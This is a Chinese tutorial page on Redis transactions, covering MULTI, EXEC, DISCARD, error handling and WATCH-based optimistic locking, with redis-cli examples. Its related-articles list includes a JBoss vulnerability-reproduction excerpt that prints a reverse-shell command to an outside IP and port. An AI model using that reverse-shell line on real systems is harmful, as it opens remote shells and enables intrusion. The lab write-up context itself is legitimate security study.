Redis事务总结

news2024/12/25 23:40:09

1.事务介绍

Redis 事务是一个用于将多个命令打包在一起执行的功能,它可以确保这些命令按照顺序执行,并且具有原子性。这意味着事务中的命令要么全部执行,要么全部不执行,这有助于保持数据的一致性。

Redis 事务本质:一组命令的集合!

一个事务中的所有命令都会被序列化,在事务执行过程的中,会按照顺序执行!一次性、顺序性、排他性!执行一些列的命令!

Redis事务没有隔离级别的概念!

所有的命令在事务中,并没有直接被执行!只有发起执行命令的时候才会执行!Exec

Redis单条命令式保存原子性的,但是事务不保证原子性!

Redis 事务在执行的过程中,不会被其他客户端发送来的命令请求所打断

Redis 事务的主要作用就是串联多个命令防止别的命令插队

2.Redis事务的特点

  • 原子性:事务中的命令要么全部执行,要么全部不执行。
  • 无锁:Redis 的事务不会对其他客户端加锁,这意味着在执行事务的过程中,其他客户端仍然可以正常读取和写入数据。
  • 通过MULTI开始:使用MULTI命令开始一个事务。
  • 通过EXEC执行:使用EXEC命令执行事务中的所有命令。
  • 通过DISCARD取消:如果需要取消事务,可以使用DISCARD命令。
  • 通过WATCH实现乐观锁:使用WATCH命令可以监控数据,在执行EXEC之前,如果数据被其他客户端修改,则事务会被取消。3.

3.事务流程图

  • 开始事务:以multi开始一个事务 
  • 添加命令到事务:将redis命令命令加入事务中
  • 执行事务:exec命令执行全部的入队命令
  • 取消事务:DISCARD 取消

4. 操作示例

##################################################
# 开启事务
127.0.0.1:6379> multi 
OK
# 命令入队
127.0.0.1:6379> set k1 v1 
QUEUED
127.0.0.1:6379> set k2 v2
QUEUED
127.0.0.1:6379> get k2
QUEUED
127.0.0.1:6379> set k3 v3
QUEUED
# 执行事务
127.0.0.1:6379> exec 
1) OK
2) OK
3) "v2"
4) OK 

####################################################
# 开启事务
127.0.0.1:6379> multi 
OK
127.0.0.1:6379> set k1 v1
QUEUED
127.0.0.1:6379> set k2 v2
QUEUED
127.0.0.1:6379> set k4 v4
QUEUED
# 取消事务 组队的过程中可以通过 discard 来放弃组队
127.0.0.1:6379> DISCARD 
OK
# 事务队列中命令都不会被执行!
127.0.0.1:6379> get k4 
(nil) 

####################################################

5.事务的错误处理

组队过程中某个命令出现了错误,执行时整个事务所有队列命令都会被取消

127.0.0.1:6379> multi
OK
127.0.0.1:6379> set k1 v1
QUEUED
127.0.0.1:6379> set k2 v2
QUEUED
127.0.0.1:6379> set k3 v3
QUEUED
# 错误的命令 组队时报错
127.0.0.1:6379> getset k3 
(error) ERR wrong number of arguments for 'getset' command
127.0.0.1:6379> set k4 v4
QUEUED
127.0.0.1:6379> set k5 v5
QUEUED
# 执行事务报错! 所有命令取消  所有的命令都不会被执行!
127.0.0.1:6379> exec 
(error) EXECABORT Transaction discarded because of previous errors.
127.0.0.1:6379> get k5 
(nil) 

组队成功,如果执行阶段某个命令报出了错误,则只有报错的命令不会被执行,而其他的命令都会执行,不会回滚。

127.0.0.1:6379> set k1 "v1"
OK
127.0.0.1:6379> multi
OK
# 组队没有报错 会执行的时候失败!
127.0.0.1:6379> incr k1 
QUEUED
127.0.0.1:6379> set k2 v2
QUEUED
127.0.0.1:6379> set k3 v3
QUEUED
127.0.0.1:6379> get k3
QUEUED
# 虽然第一条命令报错了,但是依旧正常执行成功了!
127.0.0.1:6379> exec
1) (error) ERR value is not an integer or out of range 
2) OK
3) OK
4) "v3"
127.0.0.1:6379> get k2
"v2"
127.0.0.1:6379> get k3
"v3" 

6.事务监控 Watch

5.1 悲观锁与乐观锁

悲观锁 本质是上锁

悲观锁(Pessimistic Lock), 顾名思义,就是很悲观,每次去拿数据的时候都认为别人会修改,所以每次在拿数据的时候都会上锁,这样别人想拿这个数据就会 block 直到它拿到锁。传统的关系型数据库里边就用到了很多这种锁机制,比如行锁表锁等,读锁写锁等,都是在做操作之前先上锁

乐观锁 本质是版本对比控制

乐观锁(Optimistic Lock), 顾名思义,就是很乐观,每次去拿数据的时候都认为别人不会修改,所以不会上锁,但是在更新的时候会判断一下在此期间别人有没有去更新这个数据,可以使用版本号等机制。乐观锁适用于多读的应用类型,这样可以提高吞吐量。Redis 就是利用这种 check-and-set 机制实现事务的。

Redis使用Watch来提供乐观锁定

5.2 操作命令

WATCH key

在执行 multi 之前,先执行 watch key1 [key2],可以监视一个(或多个) key ,如果在事务执行之前这个(或这些) key 被其他命令所改动,那么事务将被打断。

unwatch

取消 WATCH 命令对所有 key 的监视

如果在执行 WATCH 命令之后,EXEC 命令或 DISCARD 命令先被执行了的话,那么就不需要再执行 UNWATCH 了。

###############################################
# 正常执行
127.0.0.1:6379> set money 100
OK
127.0.0.1:6379> set out 0
OK
# 监视 money 对象 一定要在事务开启前监控
127.0.0.1:6379> watch money 
OK
# 事务正常结束,数据期间没有发生变动,这个时候就正常执行成功!
127.0.0.1:6379> multi
OK
127.0.0.1:6379> DECRBY money 20
QUEUED
127.0.0.1:6379> INCRBY out 20
QUEUED
127.0.0.1:6379> exec
1) (integer) 80
2) (integer) 20
#################################################

测试多线程修改值 , 使用watch 可以当做redis的乐观锁操作

127.0.0.1:6379> watch money # 监视 money
OK
127.0.0.1:6379> multi
OK
127.0.0.1:6379> DECRBY money 10
QUEUED
127.0.0.1:6379> INCRBY out 10
QUEUED
# 执行之前,另外一个线程,修改了我们的值,这个时候,就会导致事务执行失败!
127.0.0.1:6379> exec 
(nil) 

如果修改失败,获取最新的值就好

127.0.0.1:6379> unwatch # 取消监视 money
OK
127.0.0.1:6379> watch money # 监视 money
OK
127.0.0.1:6379> multi
OK
127.0.0.1:6379> DECRBY money 10
QUEUED
127.0.0.1:6379> INCRBY out 10
QUEUED
127.0.0.1:6379> exec 

7.最后

感谢大家,请大家多多支持!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158421.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

小程序开发设计-协同工作和发布:协同工作⑧

上一篇文章导航: 小程序开发设计-小程序的宿主环境:组件⑦-CSDN博客https://blog.csdn.net/qq_60872637/article/details/142455350?spm1001.2014.3001.5501 注:不同版本选项有所不同,并无大碍。 目录 上一篇文章导航&#x…

Matlab/simulink低版本打开高版本

很简单,取消”预设“下一个选项的勾即可, 我是21a,打开21b的simulink亲测有效,以下是过程记录

校园社区服务系统小程序的设计

管理员账户功能包括:系统首页,个人中心,用户管理,发布类型管理,互帮互助管理,物品分类管理,闲置交易管理,购买物品管理,反馈信息系统管理 微信端账号功能包括&#xff1…

lammps计算区域压力的两种方法

大家好,我是小马老师。 本文介绍lammps计算区域压力的两种方法。 在lammps模拟中,计算某一个固定区域内气体或者液态的压力,可以先计算该区域内所有单个原子的应力,然后把区域内原子的应力值求和再除以体积。 只有处于该区域内的原子参与压力的计算,当原子移动出该区域后,…

如何合并pdf文件,四款软件,三步搞定!

在数字化办公的浪潮中,PDF文档因其跨平台兼容性和安全性,成为了我们日常工作中不可或缺的一部分。然而,面对多个PDF文件需要整合成一个文件时,不少小伙伴可能会感到头疼。别担心,今天我们就来揭秘四款高效PDF合并软件&…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

Linux C# Day4

作业: 1.统计家目录下.c文件的个数 #!/bin/bash num0 for filename in ls ~/*.c do((num)) done echo $num2.定义一个稀疏数组(下标不连续),写一个函数,求该稀疏数组的和,要求稀疏数组中的数值通过参数传递到函数中arr([2]9 [4…

基于单片机的自行车智能辅助系统设计

文章目录 前言资料获取设计介绍功能介绍设计程序具体实现截图目 录设计获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师,一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等单片机设计 …

多数元素-简单

169. 多数元素 - 力扣(LeetCode) 【LeetCode 每日一题】169. 多数元素 | 手写图解版思路 代码讲解_哔哩哔哩_bilibili c为计数器,代表当前候选人的票数 v为当前候选人 x为遍历的各候选人得票 分三种情况: 第一种,c…

OpenBayes 一周速览|IC-Light 图片打光神器一键启动!Tecnalia 电子设备废物高光谱数据集上线,提高电子废物回收准确性

公共资源速递 This Weekly Snapshots ! 5 个数据集: * BTAD 工业异常数据集 * WebVid 大型短视频数据集 * bAbi 问答和文本理解的数据集 * OpenMIR 音乐收听脑电图数据集 * Tecnalia 电子设备废物高光谱数据集 2 个教程: * ComfyUl …

12. Inseq 特征归因:可视化解释 LLM 的输出

Feature Attribution(特征归因):你可以将其当做对模型输出的解释,就像在图像分类中可视化模型关注的区域一样。 本文将介绍 Inseq,这是一个用于解释和可视化序列生成模型输出的工具。我们将通过翻译任务(关…

Flink 本地启动的多种方式

Flink 本地启动的多种方式 Application模式通过代码提交到Yarn上启动 //设置Yarn客户端 YarnClient yarnClient ; Configuration configuration new Configuration(); if (customConfiguration ! null) {configuration.addAll(customConfiguration); } configuration.set(Jo…

Linux——虚拟机网络配置

进行虚拟机网络配置是确保虚拟机能够正常访问网络、与宿主机及其他设备进行通信的关键步骤。虚拟机网络配置允许用户根据实际需求选择合适的网络模式,并调整网络参数以满足特定的网络环境要求。 虚拟机常见的三种网络模式包括桥接模式、NAT模式和主机模式&#xff…

Shiro rememberMe反序列化漏洞(Shiro-550) 靶场攻略

漏洞原理 Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会⽣成经过 加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反 序列化,就导致了反序列化RCE漏洞。 那么&a…

制作网上3D展馆需要什么技术并投入多少费用?

制作网上3D展览馆项目,需要考虑以下技术和预算方面的信息: 技术需求: 1、三维建模技术:利用3D软件(3ds max、maya、blender、c4d等)制作展馆和展品的3D模型 2、Web3D技术:如WebGL&#xff0c…

飞腾平台perf工具PMU事件集成指南

【写在前面】 飞腾开发者平台是基于飞腾自身强大的技术基础和开放能力,聚合行业内优秀资源而打造的。该平台覆盖了操作系统、算法、数据库、安全、平台工具、虚拟化、存储、网络、固件等多个前沿技术领域,包含了应用使能套件、软件仓库、软件支持、软件适…

VMware安装ubuntu24.04桌面版

一、安装推荐要求 双核2 GHz处理器或更高 4 GB系统内存 25 GB磁盘存储空间 可访问的互联网 光驱或USB安装介质 二、下载桌面系统 下载地址(使用手机转存再下载是对作者的最大支持):夸克网盘分享 (quark.cn) 已安装的纯净版ubuntu虚拟…

CMake 构建Qt程序弹出黑色控制台

CMake 构建Qt程序弹出黑色控制台

普通查询+聚合函数的使用(8个例子,数值和字符串的比较)

目录 回顾普通查询聚合函数的使用 表数据 例子1 例子2 例子3 ​​​​​​​例子4 例子5 例子6 例子7(数值和字符串的比较) 例子8 回顾普通查询聚合函数的使用 之前我们介绍过聚合函数 --mysql分组查询 -- 聚合函数(介绍,使用),group by使用,分组聚合统计(使用,havi…

MATLAB基本语句

MATLAB语言为解释型程序设计语言。在程序中可以出现顺序、选择、循环三种基本控制结构,也可以出现对M-文件的调用(相当于对外部过程的调用)。 由于 MATLAB开始是用FORTRAN语言编写、后来用 C语言重写的,故其既有FORTRAN的特征,又在许多语言规…